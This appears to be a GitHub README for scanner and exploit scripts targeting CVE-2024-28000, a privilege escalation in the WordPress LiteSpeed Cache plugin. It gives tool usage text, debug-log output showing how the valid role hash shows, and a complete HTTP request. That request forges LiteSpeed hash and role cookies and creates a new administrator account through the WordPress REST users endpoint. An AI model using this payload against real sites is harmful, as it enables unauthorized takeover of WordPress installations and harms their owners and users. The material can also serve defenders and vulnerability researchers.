ssssuperx/cve-2024-28000CVE-2024-28000 LiteSpeed Cache Escalada de Privilegios Escaneo y Explotación
usage: CVE-2024-28000_Scan.py [-h] [-f F] [-t T] [-p PROXY]
CVE-2024-28000 Scan
optional arguments:
-h, --help show this help message and exit
-f F File list
-t T Scan thread
-p PROXY, --proxy PROXY
Example: socks5://127.0.0.1:10808
Ejemplo:
09/08/24 16:30:38.219 [0.0.0.0:26008 1 TG9] 💓 ------POST HTTP/1.1 (HTTPS) /wp-json/wp/v2/users
09/08/24 16:30:38.219 [0.0.0.0:26008 1 TG9] Query String:
09/08/24 16:30:38.231 [0.0.0.0:26008 1 TG9] [Router] starting role validation
09/08/24 16:30:38.232 [0.0.0.0:26008 1 TG9] [Router] hash not match zasws5 != pkHrfD
09/08/24 16:30:38.232 [0.0.0.0:26008 1 TG9] [Router] get_role:
09/08/24 16:30:38.241 [0.0.0.0:26008 1 TG9] [Optm] init
Si LiteSpeed tiene debug habilitado, se pueden ver registros similares a los anteriores, donde pkHrfD es el hash correcto.
usage: CVE-2024-28000_Exploit.py [-h] [-u U] [-t T] [-d D] [-p PROXY]
CVE-2024-28000
optional arguments:
-h, --help show this help message and exit
-u U url
-t T Scan thread
-d D Dict list
-p PROXY, --proxy PROXY
Example: socks5://127.0.0.1:10808
POST /wp-json/wp/v2/users HTTP/2
Host: xxx.com
User-Agent: python-requests/2.28.1
Accept-Encoding: gzip, deflate, br
Accept: */*
Cookie: litespeed_hash=HashCorrecto; litespeed_role=1
Content-Length: 122
Content-Type: application/json
{"username": "username", "password": "password", "email": "[email protected]", "roles": ["administrator"]}